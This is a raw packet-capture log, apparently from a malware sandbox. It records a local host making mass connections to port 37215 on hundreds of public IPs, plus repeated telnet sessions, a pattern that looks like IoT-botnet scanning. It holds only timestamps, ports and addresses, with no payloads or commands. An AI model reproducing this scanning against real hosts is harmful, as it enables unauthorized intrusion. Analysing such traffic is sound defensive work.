Dec 3, 2024 21:01:59.155764103 CET	18849	37215	192.168.2.23	197.111.25.71
Dec 3, 2024 21:01:59.155767918 CET	18849	37215	192.168.2.23	41.45.25.185
Dec 3, 2024 21:01:59.155762911 CET	18849	37215	192.168.2.23	41.200.36.102
Dec 3, 2024 21:01:59.155769110 CET	18849	37215	192.168.2.23	197.180.42.7
Dec 3, 2024 21:01:59.155767918 CET	18849	37215	192.168.2.23	156.30.127.75
Dec 3, 2024 21:01:59.155769110 CET	18849	37215	192.168.2.23	41.10.250.235
Dec 3, 2024 21:01:59.155769110 CET	18849	37215	192.168.2.23	41.154.133.36
Dec 3, 2024 21:01:59.155772924 CET	18849	37215	192.168.2.23	197.112.61.174
Dec 3, 2024 21:01:59.155767918 CET	18849	37215	192.168.2.23	41.232.248.205
Dec 3, 2024 21:01:59.155774117 CET	18849	37215	192.168.2.23	41.248.88.149
Dec 3, 2024 21:01:59.155767918 CET	18849	37215	192.168.2.23	197.172.39.82
Dec 3, 2024 21:01:59.155776024 CET	18849	37215	192.168.2.23	41.24.246.0
Dec 3, 2024 21:01:59.155776024 CET	18849	37215	192.168.2.23	156.72.119.252
Dec 3, 2024 21:01:59.155776978 CET	18849	37215	192.168.2.23	156.65.6.161
Dec 3, 2024 21:01:59.155786991 CET	18849	37215	192.168.2.23	156.131.71.121
Dec 3, 2024 21:01:59.155786991 CET	18849	37215	192.168.2.23	197.227.4.118
Dec 3, 2024 21:01:59.155798912 CET	18849	37215	192.168.2.23	156.57.66.224
Dec 3, 2024 21:01:59.155800104 CET	18849	37215	192.168.2.23	156.84.89.170
Dec 3, 2024 21:01:59.155800104 CET	18849	37215	192.168.2.23	197.2.163.85
Dec 3, 2024 21:01:59.155810118 CET	18849	37215	192.168.2.23	41.157.86.127
Dec 3, 2024 21:01:59.155810118 CET	18849	37215	192.168.2.23	41.157.63.92
Dec 3, 2024 21:01:59.155833006 CET	18849	37215	192.168.2.23	41.126.229.249
Dec 3, 2024 21:01:59.155833006 CET	18849	37215	192.168.2.23	156.105.159.17
Dec 3, 2024 21:01:59.155837059 CET	18849	37215	192.168.2.23	156.162.111.71
Dec 3, 2024 21:01:59.155864954 CET	18849	37215	192.168.2.23	41.240.94.254
Dec 3, 2024 21:01:59.155864954 CET	18849	37215	192.168.2.23	41.176.218.75
Dec 3, 2024 21:01:59.155864954 CET	18849	37215	192.168.2.23	197.240.57.115
Dec 3, 2024 21:01:59.155867100 CET	18849	37215	192.168.2.23	41.123.214.227
Dec 3, 2024 21:01:59.155873060 CET	18849	37215	192.168.2.23	197.152.15.21
Dec 3, 2024 21:01:59.155873060 CET	18849	37215	192.168.2.23	41.88.50.213
Dec 3, 2024 21:01:59.155880928 CET	18849	37215	192.168.2.23	197.6.143.225
Dec 3, 2024 21:01:59.155883074 CET	18849	37215	192.168.2.23	41.90.113.112
Dec 3, 2024 21:01:59.155893087 CET	18849	37215	192.168.2.23	197.211.215.68
Dec 3, 2024 21:01:59.155899048 CET	18849	37215	192.168.2.23	197.241.60.133
Dec 3, 2024 21:01:59.155908108 CET	18849	37215	192.168.2.23	156.99.24.250
Dec 3, 2024 21:01:59.155980110 CET	18849	37215	192.168.2.23	197.94.201.44
Dec 3, 2024 21:01:59.155982971 CET	18849	37215	192.168.2.23	197.86.65.69
Dec 3, 2024 21:01:59.155986071 CET	18849	37215	192.168.2.23	197.42.14.6
Dec 3, 2024 21:01:59.155987024 CET	18849	37215	192.168.2.23	41.37.21.35
Dec 3, 2024 21:01:59.155987024 CET	18849	37215	192.168.2.23	41.139.51.61
Dec 3, 2024 21:01:59.155987024 CET	18849	37215	192.168.2.23	41.125.182.29
Dec 3, 2024 21:01:59.155991077 CET	18849	37215	192.168.2.23	41.48.9.129
Dec 3, 2024 21:01:59.155993938 CET	18849	37215	192.168.2.23	197.132.149.215
Dec 3, 2024 21:01:59.155993938 CET	18849	37215	192.168.2.23	156.150.156.11
Dec 3, 2024 21:01:59.155993938 CET	18849	37215	192.168.2.23	197.157.149.173
Dec 3, 2024 21:01:59.155998945 CET	18849	37215	192.168.2.23	156.69.126.168
Dec 3, 2024 21:01:59.155998945 CET	18849	37215	192.168.2.23	197.97.62.225
Dec 3, 2024 21:01:59.156014919 CET	18849	37215	192.168.2.23	41.236.66.103
Dec 3, 2024 21:01:59.156018019 CET	18849	37215	192.168.2.23	156.1.57.69
Dec 3, 2024 21:01:59.156018019 CET	18849	37215	192.168.2.23	197.127.31.50
Dec 3, 2024 21:01:59.156028986 CET	18849	37215	192.168.2.23	41.48.156.42
Dec 3, 2024 21:01:59.156035900 CET	18849	37215	192.168.2.23	156.135.51.182
Dec 3, 2024 21:01:59.156037092 CET	18849	37215	192.168.2.23	156.77.236.222
Dec 3, 2024 21:01:59.156044960 CET	18849	37215	192.168.2.23	41.77.64.65
Dec 3, 2024 21:01:59.156049013 CET	18849	37215	192.168.2.23	41.188.195.101
Dec 3, 2024 21:01:59.156049013 CET	18849	37215	192.168.2.23	156.180.18.51
Dec 3, 2024 21:01:59.156073093 CET	18849	37215	192.168.2.23	156.234.232.219
Dec 3, 2024 21:01:59.156095982 CET	18849	37215	192.168.2.23	41.146.121.107
Dec 3, 2024 21:01:59.156095982 CET	18849	37215	192.168.2.23	41.78.213.93
Dec 3, 2024 21:01:59.156096935 CET	18849	37215	192.168.2.23	156.252.190.1
Dec 3, 2024 21:01:59.156096935 CET	18849	37215	192.168.2.23	197.102.167.156
Dec 3, 2024 21:01:59.156116962 CET	18849	37215	192.168.2.23	156.80.9.96
Dec 3, 2024 21:01:59.156116962 CET	18849	37215	192.168.2.23	41.36.211.249
Dec 3, 2024 21:01:59.156116962 CET	18849	37215	192.168.2.23	156.44.80.140
Dec 3, 2024 21:01:59.156117916 CET	18849	37215	192.168.2.23	41.195.194.219
Dec 3, 2024 21:01:59.156117916 CET	18849	37215	192.168.2.23	41.211.179.148
Dec 3, 2024 21:01:59.156117916 CET	18849	37215	192.168.2.23	41.240.208.9
Dec 3, 2024 21:01:59.156127930 CET	18849	37215	192.168.2.23	156.138.69.218
Dec 3, 2024 21:01:59.156137943 CET	18849	37215	192.168.2.23	41.37.27.59
Dec 3, 2024 21:01:59.156136990 CET	23	53064	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.156138897 CET	18849	37215	192.168.2.23	41.181.53.244
Dec 3, 2024 21:01:59.156142950 CET	18849	37215	192.168.2.23	41.84.155.246
Dec 3, 2024 21:01:59.156143904 CET	18849	37215	192.168.2.23	197.138.163.63
Dec 3, 2024 21:01:59.156223059 CET	18849	37215	192.168.2.23	41.216.172.235
Dec 3, 2024 21:01:59.156228065 CET	18849	37215	192.168.2.23	41.6.41.1
Dec 3, 2024 21:01:59.156229973 CET	18849	37215	192.168.2.23	156.121.181.93
Dec 3, 2024 21:01:59.156229973 CET	18849	37215	192.168.2.23	41.55.148.150
Dec 3, 2024 21:01:59.156230927 CET	18849	37215	192.168.2.23	156.176.48.77
Dec 3, 2024 21:01:59.156230927 CET	18849	37215	192.168.2.23	41.209.99.52
Dec 3, 2024 21:01:59.156232119 CET	18849	37215	192.168.2.23	197.169.221.132
Dec 3, 2024 21:01:59.156234026 CET	18849	37215	192.168.2.23	41.136.216.22
Dec 3, 2024 21:01:59.156236887 CET	18849	37215	192.168.2.23	197.104.94.77
Dec 3, 2024 21:01:59.156241894 CET	18849	37215	192.168.2.23	156.69.166.212
Dec 3, 2024 21:01:59.156244993 CET	18849	37215	192.168.2.23	156.83.14.253
Dec 3, 2024 21:01:59.156244993 CET	18849	37215	192.168.2.23	41.106.112.29
Dec 3, 2024 21:01:59.156251907 CET	18849	37215	192.168.2.23	197.144.190.61
Dec 3, 2024 21:01:59.156263113 CET	18849	37215	192.168.2.23	41.200.180.191
Dec 3, 2024 21:01:59.156269073 CET	18849	37215	192.168.2.23	41.113.20.132
Dec 3, 2024 21:01:59.156285048 CET	18849	37215	192.168.2.23	197.43.212.75
Dec 3, 2024 21:01:59.156290054 CET	18849	37215	192.168.2.23	197.167.226.86
Dec 3, 2024 21:01:59.156290054 CET	18849	37215	192.168.2.23	197.220.109.167
Dec 3, 2024 21:01:59.156290054 CET	18849	37215	192.168.2.23	197.3.111.210
Dec 3, 2024 21:01:59.156300068 CET	18849	37215	192.168.2.23	156.89.0.211
Dec 3, 2024 21:01:59.156301975 CET	18849	37215	192.168.2.23	197.190.116.243
Dec 3, 2024 21:01:59.156301975 CET	18849	37215	192.168.2.23	156.207.250.4
Dec 3, 2024 21:01:59.156311035 CET	18849	37215	192.168.2.23	41.127.242.80
Dec 3, 2024 21:01:59.156311035 CET	18849	37215	192.168.2.23	41.110.63.73
Dec 3, 2024 21:01:59.156315088 CET	18849	37215	192.168.2.23	41.84.18.240
Dec 3, 2024 21:01:59.156321049 CET	18849	37215	192.168.2.23	156.210.192.180
Dec 3, 2024 21:01:59.156327009 CET	18849	37215	192.168.2.23	197.239.221.192
Dec 3, 2024 21:01:59.156327963 CET	18849	37215	192.168.2.23	197.156.173.255
Dec 3, 2024 21:01:59.156327963 CET	18849	37215	192.168.2.23	41.18.106.48
Dec 3, 2024 21:01:59.156353951 CET	18849	37215	192.168.2.23	156.60.12.119
Dec 3, 2024 21:01:59.156354904 CET	18849	37215	192.168.2.23	156.106.135.134
Dec 3, 2024 21:01:59.156353951 CET	18849	37215	192.168.2.23	197.198.165.213
Dec 3, 2024 21:01:59.156354904 CET	18849	37215	192.168.2.23	156.6.145.238
Dec 3, 2024 21:01:59.156368971 CET	18849	37215	192.168.2.23	156.167.212.232
Dec 3, 2024 21:01:59.156369925 CET	18849	37215	192.168.2.23	41.219.171.96
Dec 3, 2024 21:01:59.156369925 CET	18849	37215	192.168.2.23	197.99.238.242
Dec 3, 2024 21:01:59.156384945 CET	18849	37215	192.168.2.23	41.16.12.227
Dec 3, 2024 21:01:59.156384945 CET	18849	37215	192.168.2.23	197.29.54.74
Dec 3, 2024 21:01:59.156399012 CET	18849	37215	192.168.2.23	156.210.74.240
Dec 3, 2024 21:01:59.156419992 CET	23	53102	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.156481981 CET	18849	37215	192.168.2.23	197.253.15.61
Dec 3, 2024 21:01:59.156483889 CET	18849	37215	192.168.2.23	156.73.7.195
Dec 3, 2024 21:01:59.156485081 CET	18849	37215	192.168.2.23	41.63.192.255
Dec 3, 2024 21:01:59.156487942 CET	18849	37215	192.168.2.23	41.34.115.165
Dec 3, 2024 21:01:59.156487942 CET	18849	37215	192.168.2.23	197.240.44.94
Dec 3, 2024 21:01:59.156492949 CET	18849	37215	192.168.2.23	156.180.214.44
Dec 3, 2024 21:01:59.156493902 CET	53102	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.156492949 CET	18849	37215	192.168.2.23	156.38.152.91
Dec 3, 2024 21:01:59.156493902 CET	18849	37215	192.168.2.23	197.120.116.202
Dec 3, 2024 21:01:59.156492949 CET	18849	37215	192.168.2.23	156.210.245.153
Dec 3, 2024 21:01:59.156496048 CET	18849	37215	192.168.2.23	156.87.71.205
Dec 3, 2024 21:01:59.156496048 CET	18849	37215	192.168.2.23	41.142.37.151
Dec 3, 2024 21:01:59.156500101 CET	18849	37215	192.168.2.23	197.85.78.191
Dec 3, 2024 21:01:59.156508923 CET	18849	37215	192.168.2.23	197.60.71.51
Dec 3, 2024 21:01:59.156517029 CET	18849	37215	192.168.2.23	156.48.60.199
Dec 3, 2024 21:01:59.156539917 CET	18849	37215	192.168.2.23	156.202.182.85
Dec 3, 2024 21:01:59.156539917 CET	18849	37215	192.168.2.23	41.215.39.118
Dec 3, 2024 21:01:59.156544924 CET	18849	37215	192.168.2.23	197.112.93.216
Dec 3, 2024 21:01:59.156544924 CET	18849	37215	192.168.2.23	197.16.80.141
Dec 3, 2024 21:01:59.156544924 CET	18849	37215	192.168.2.23	156.245.224.170
Dec 3, 2024 21:01:59.156546116 CET	18849	37215	192.168.2.23	197.245.163.127
Dec 3, 2024 21:01:59.156546116 CET	18849	37215	192.168.2.23	197.174.189.128
Dec 3, 2024 21:01:59.156558037 CET	23	45644	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:59.156565905 CET	18849	37215	192.168.2.23	156.86.192.8
Dec 3, 2024 21:01:59.156567097 CET	18849	37215	192.168.2.23	41.208.166.229
Dec 3, 2024 21:01:59.156572104 CET	18849	37215	192.168.2.23	41.181.0.116
Dec 3, 2024 21:01:59.156572104 CET	18849	37215	192.168.2.23	156.20.9.171
Dec 3, 2024 21:01:59.156582117 CET	18849	37215	192.168.2.23	41.155.71.198
Dec 3, 2024 21:01:59.156589985 CET	18849	37215	192.168.2.23	156.104.234.44
Dec 3, 2024 21:01:59.156611919 CET	18849	37215	192.168.2.23	156.197.155.168
Dec 3, 2024 21:01:59.156611919 CET	18849	37215	192.168.2.23	41.3.202.211
Dec 3, 2024 21:01:59.156620979 CET	18849	37215	192.168.2.23	41.54.11.29
Dec 3, 2024 21:01:59.156620979 CET	18849	37215	192.168.2.23	197.73.39.244
Dec 3, 2024 21:01:59.156630039 CET	18849	37215	192.168.2.23	41.31.223.16
Dec 3, 2024 21:01:59.156631947 CET	18849	37215	192.168.2.23	197.227.202.17
Dec 3, 2024 21:01:59.156631947 CET	18849	37215	192.168.2.23	41.207.138.201
Dec 3, 2024 21:01:59.156635046 CET	18849	37215	192.168.2.23	197.172.129.44
Dec 3, 2024 21:01:59.156640053 CET	18849	37215	192.168.2.23	197.140.80.86
Dec 3, 2024 21:01:59.156644106 CET	18849	37215	192.168.2.23	41.27.35.157
Dec 3, 2024 21:01:59.156656981 CET	18849	37215	192.168.2.23	197.79.218.157
Dec 3, 2024 21:01:59.156721115 CET	18849	37215	192.168.2.23	156.83.163.135
Dec 3, 2024 21:01:59.156721115 CET	18849	37215	192.168.2.23	41.118.39.14
Dec 3, 2024 21:01:59.156721115 CET	18849	37215	192.168.2.23	197.138.100.62
Dec 3, 2024 21:01:59.156723976 CET	18849	37215	192.168.2.23	156.54.71.253
Dec 3, 2024 21:01:59.156723976 CET	18849	37215	192.168.2.23	156.175.228.83
Dec 3, 2024 21:01:59.156723976 CET	18849	37215	192.168.2.23	41.179.168.196
Dec 3, 2024 21:01:59.156725883 CET	18849	37215	192.168.2.23	156.203.173.109
Dec 3, 2024 21:01:59.156723976 CET	18849	37215	192.168.2.23	197.194.192.154
Dec 3, 2024 21:01:59.156725883 CET	18849	37215	192.168.2.23	156.239.183.246
Dec 3, 2024 21:01:59.156732082 CET	18849	37215	192.168.2.23	41.126.227.83
Dec 3, 2024 21:01:59.156728029 CET	18849	37215	192.168.2.23	197.166.211.233
Dec 3, 2024 21:01:59.156738997 CET	18849	37215	192.168.2.23	156.67.185.56
Dec 3, 2024 21:01:59.156742096 CET	18849	37215	192.168.2.23	156.194.230.236
Dec 3, 2024 21:01:59.156745911 CET	18849	37215	192.168.2.23	156.178.92.117
Dec 3, 2024 21:01:59.156760931 CET	18849	37215	192.168.2.23	197.26.245.72
Dec 3, 2024 21:01:59.156763077 CET	18849	37215	192.168.2.23	41.218.13.201
Dec 3, 2024 21:01:59.156776905 CET	18849	37215	192.168.2.23	41.78.203.203
Dec 3, 2024 21:01:59.156780958 CET	18849	37215	192.168.2.23	41.237.255.147
Dec 3, 2024 21:01:59.156781912 CET	18849	37215	192.168.2.23	41.174.232.112
Dec 3, 2024 21:01:59.156784058 CET	18849	37215	192.168.2.23	41.234.25.234
Dec 3, 2024 21:01:59.156791925 CET	18849	37215	192.168.2.23	197.12.227.150
Dec 3, 2024 21:01:59.156793118 CET	18849	37215	192.168.2.23	156.87.154.239
Dec 3, 2024 21:01:59.156802893 CET	18849	37215	192.168.2.23	197.148.155.41
Dec 3, 2024 21:01:59.156821012 CET	18849	37215	192.168.2.23	41.12.172.25
Dec 3, 2024 21:01:59.156825066 CET	18849	37215	192.168.2.23	41.40.34.121
Dec 3, 2024 21:01:59.156826019 CET	18849	37215	192.168.2.23	156.181.165.254
Dec 3, 2024 21:01:59.156827927 CET	18849	37215	192.168.2.23	41.126.21.147
Dec 3, 2024 21:01:59.156833887 CET	18849	37215	192.168.2.23	41.27.7.28
Dec 3, 2024 21:01:59.156856060 CET	18849	37215	192.168.2.23	41.86.15.217
Dec 3, 2024 21:01:59.156857967 CET	18849	37215	192.168.2.23	156.36.78.18
Dec 3, 2024 21:01:59.156857967 CET	18849	37215	192.168.2.23	197.78.61.226
Dec 3, 2024 21:01:59.156868935 CET	18849	37215	192.168.2.23	156.242.105.249
Dec 3, 2024 21:01:59.156876087 CET	18849	37215	192.168.2.23	197.222.31.77
Dec 3, 2024 21:01:59.156876087 CET	18849	37215	192.168.2.23	197.154.137.49
Dec 3, 2024 21:01:59.156894922 CET	18849	37215	192.168.2.23	156.198.40.117
Dec 3, 2024 21:01:59.156991005 CET	18849	37215	192.168.2.23	41.236.31.254
Dec 3, 2024 21:01:59.156991005 CET	18849	37215	192.168.2.23	41.13.119.15
Dec 3, 2024 21:01:59.156991959 CET	18849	37215	192.168.2.23	41.202.255.24
Dec 3, 2024 21:01:59.156991005 CET	18849	37215	192.168.2.23	41.222.162.20
Dec 3, 2024 21:01:59.156991959 CET	18849	37215	192.168.2.23	41.36.137.124
Dec 3, 2024 21:01:59.156992912 CET	18849	37215	192.168.2.23	156.115.137.163
Dec 3, 2024 21:01:59.156991959 CET	18849	37215	192.168.2.23	197.231.108.95
Dec 3, 2024 21:01:59.156992912 CET	18849	37215	192.168.2.23	197.157.185.38
Dec 3, 2024 21:01:59.156992912 CET	18849	37215	192.168.2.23	156.66.118.176
Dec 3, 2024 21:01:59.157018900 CET	18849	37215	192.168.2.23	156.217.176.59
Dec 3, 2024 21:01:59.157018900 CET	18849	37215	192.168.2.23	156.195.91.129
Dec 3, 2024 21:01:59.157018900 CET	18849	37215	192.168.2.23	197.39.169.40
Dec 3, 2024 21:01:59.157018900 CET	18849	37215	192.168.2.23	41.22.82.159
Dec 3, 2024 21:01:59.157021046 CET	18849	37215	192.168.2.23	197.132.0.27
Dec 3, 2024 21:01:59.157018900 CET	18849	37215	192.168.2.23	41.127.183.98
Dec 3, 2024 21:01:59.157021046 CET	18849	37215	192.168.2.23	197.226.99.216
Dec 3, 2024 21:01:59.157021999 CET	18849	37215	192.168.2.23	197.108.20.162
Dec 3, 2024 21:01:59.157021999 CET	18849	37215	192.168.2.23	41.144.88.68
Dec 3, 2024 21:01:59.157023907 CET	18849	37215	192.168.2.23	197.42.143.253
Dec 3, 2024 21:01:59.157023907 CET	18849	37215	192.168.2.23	156.231.252.20
Dec 3, 2024 21:01:59.157023907 CET	18849	37215	192.168.2.23	41.91.141.249
Dec 3, 2024 21:01:59.157025099 CET	18849	37215	192.168.2.23	41.214.200.119
Dec 3, 2024 21:01:59.157025099 CET	18849	37215	192.168.2.23	156.182.206.24
Dec 3, 2024 21:01:59.157026052 CET	18849	37215	192.168.2.23	156.2.234.208
Dec 3, 2024 21:01:59.157026052 CET	18849	37215	192.168.2.23	156.239.134.115
Dec 3, 2024 21:01:59.157026052 CET	18849	37215	192.168.2.23	156.162.101.158
Dec 3, 2024 21:01:59.157026052 CET	18849	37215	192.168.2.23	197.227.97.92
Dec 3, 2024 21:01:59.157026052 CET	18849	37215	192.168.2.23	156.64.18.184
Dec 3, 2024 21:01:59.157026052 CET	18849	37215	192.168.2.23	197.188.159.208
Dec 3, 2024 21:01:59.157032967 CET	18849	37215	192.168.2.23	197.233.166.147
Dec 3, 2024 21:01:59.157032967 CET	18849	37215	192.168.2.23	156.230.82.202
Dec 3, 2024 21:01:59.157035112 CET	18849	37215	192.168.2.23	41.134.128.81
Dec 3, 2024 21:01:59.157032967 CET	18849	37215	192.168.2.23	197.167.192.249
Dec 3, 2024 21:01:59.157035112 CET	18849	37215	192.168.2.23	197.37.74.38
Dec 3, 2024 21:01:59.157035112 CET	18849	37215	192.168.2.23	41.241.134.214
Dec 3, 2024 21:01:59.157032967 CET	18849	37215	192.168.2.23	197.197.134.114
Dec 3, 2024 21:01:59.157035112 CET	18849	37215	192.168.2.23	156.179.1.160
Dec 3, 2024 21:01:59.157035112 CET	18849	37215	192.168.2.23	156.127.35.65
Dec 3, 2024 21:01:59.157035112 CET	18849	37215	192.168.2.23	197.30.146.44
Dec 3, 2024 21:01:59.157032967 CET	18849	37215	192.168.2.23	156.153.59.15
Dec 3, 2024 21:01:59.157033920 CET	18849	37215	192.168.2.23	197.208.88.222
Dec 3, 2024 21:01:59.157150030 CET	45644	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:59.157216072 CET	23	36558	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:59.157582998 CET	44582	37215	192.168.2.23	156.224.8.58
Dec 3, 2024 21:01:59.157958984 CET	36558	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:59.158010960 CET	23	46390	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:59.158098936 CET	45684	23	192.168.2.23	45.123.147.9
Dec 3, 2024 21:01:59.158627033 CET	36558	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:59.158942938 CET	36598	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:01:59.158994913 CET	23	42452	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:59.159334898 CET	46390	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:59.159634113 CET	46430	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:01:59.160032034 CET	42452	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:59.160362959 CET	42492	23	192.168.2.23	47.249.42.224
Dec 3, 2024 21:01:59.162028074 CET	23	49450	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.162507057 CET	23	49488	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.162564039 CET	49488	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.172178030 CET	23	47368	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.172625065 CET	23	47406	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.172676086 CET	47406	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.180991888 CET	23	41502	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.181093931 CET	41502	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.181421995 CET	41542	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.182754040 CET	23	59444	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.182907104 CET	23	59482	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.182965040 CET	59482	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.188781977 CET	23	60142	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.188890934 CET	60142	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.189208031 CET	60182	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.206861973 CET	23	50420	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.206934929 CET	50420	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.206965923 CET	23	59738	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.207294941 CET	50616	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.207689047 CET	59738	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.207952023 CET	59934	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.216830969 CET	23	53394	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.216959953 CET	23	53432	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.217026949 CET	53432	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.218091011 CET	23	34652	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.218605995 CET	23	34690	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.218687057 CET	34690	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.218934059 CET	23	39804	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.219283104 CET	23	39842	133.6.185.34	192.168.2.23
Dec 3, 2024 21:01:59.219331980 CET	39842	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:59.220541000 CET	23	46098	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.220875025 CET	23	46136	199.155.176.9	192.168.2.23
Dec 3, 2024 21:01:59.220906019 CET	46136	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:59.221189976 CET	23	52538	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:59.221363068 CET	23	52576	102.92.165.202	192.168.2.23
Dec 3, 2024 21:01:59.221425056 CET	52576	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:59.221519947 CET	23	50610	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:59.221530914 CET	23	50648	74.221.182.117	192.168.2.23
Dec 3, 2024 21:01:59.221631050 CET	50648	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:59.221944094 CET	44604	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:01:59.249716043 CET	23	45728	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.250154018 CET	23	45766	121.220.27.35	192.168.2.23
Dec 3, 2024 21:01:59.250221014 CET	45766	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:01:59.257610083 CET	23	59860	96.252.143.108	192.168.2.23
Dec 3, 2024 21:01:59.257707119 CET	59860	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:59.258109093 CET	59902	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:01:59.276139975 CET	37215	18849	41.81.232.0	192.168.2.23
Dec 3, 2024 21:01:59.276156902 CET	37215	18849	197.155.146.255	192.168.2.23
Dec 3, 2024 21:01:59.276168108 CET	37215	18849	197.174.145.217	192.168.2.23
Dec 3, 2024 21:01:59.276179075 CET	37215	18849	41.38.117.184	192.168.2.23
Dec 3, 2024 21:01:59.276190042 CET	37215	18849	197.75.140.151	192.168.2.23
Dec 3, 2024 21:01:59.276202917 CET	37215	18849	197.228.160.87	192.168.2.23
Dec 3, 2024 21:01:59.276201963 CET	18849	37215	192.168.2.23	41.81.232.0
Dec 3, 2024 21:01:59.276201963 CET	18849	37215	192.168.2.23	197.174.145.217
Dec 3, 2024 21:01:59.276210070 CET	18849	37215	192.168.2.23	197.155.146.255
Dec 3, 2024 21:01:59.276226997 CET	18849	37215	192.168.2.23	197.75.140.151
Dec 3, 2024 21:01:59.276241064 CET	18849	37215	192.168.2.23	41.38.117.184
Dec 3, 2024 21:01:59.276262999 CET	18849	37215	192.168.2.23	197.228.160.87
Dec 3, 2024 21:01:59.277204990 CET	23	53102	72.164.249.168	192.168.2.23
Dec 3, 2024 21:01:59.277308941 CET	53102	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.277515888 CET	23	45644	45.123.147.9	192.168.2.23
Dec 3, 2024 21:01:59.277616024 CET	53144	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:01:59.279099941 CET	23	36558	95.87.35.60	192.168.2.23
Dec 3, 2024 21:01:59.279788017 CET	23	46390	58.142.210.48	192.168.2.23
Dec 3, 2024 21:01:59.280420065 CET	23	42452	47.249.42.224	192.168.2.23
Dec 3, 2024 21:01:59.283116102 CET	23	49488	44.119.31.213	192.168.2.23
Dec 3, 2024 21:01:59.283188105 CET	49488	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.283482075 CET	49530	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:01:59.293262005 CET	23	47406	122.63.120.127	192.168.2.23
Dec 3, 2024 21:01:59.293364048 CET	47406	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.293643951 CET	47448	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:01:59.301534891 CET	23	41502	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.301837921 CET	23	41542	19.2.133.238	192.168.2.23
Dec 3, 2024 21:01:59.301912069 CET	41542	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:01:59.303750038 CET	23	59482	102.232.137.110	192.168.2.23
Dec 3, 2024 21:01:59.303831100 CET	59482	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.304136992 CET	59524	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:59.311177969 CET	23	60142	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.311789036 CET	23	60182	194.155.181.18	192.168.2.23
Dec 3, 2024 21:01:59.311849117 CET	60182	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:01:59.327490091 CET	23	50420	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.327804089 CET	23	50616	202.40.229.40	192.168.2.23
Dec 3, 2024 21:01:59.327970028 CET	50616	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:01:59.328121901 CET	23	59738	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.328434944 CET	23	59934	177.56.160.63	192.168.2.23
Dec 3, 2024 21:01:59.328486919 CET	59934	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:01:59.337852955 CET	23	53432	40.95.143.88	192.168.2.23
Dec 3, 2024 21:01:59.337955952 CET	53432	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.338304043 CET	53474	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:01:59.339119911 CET	23	34690	177.172.54.36	192.168.2.23
Dec 3, 2024 21:01:59.339202881 CET	34690	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.339490891 CET	34732	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:59.339900017 CET	23	39842	133.6.185.34	192.168.2.23
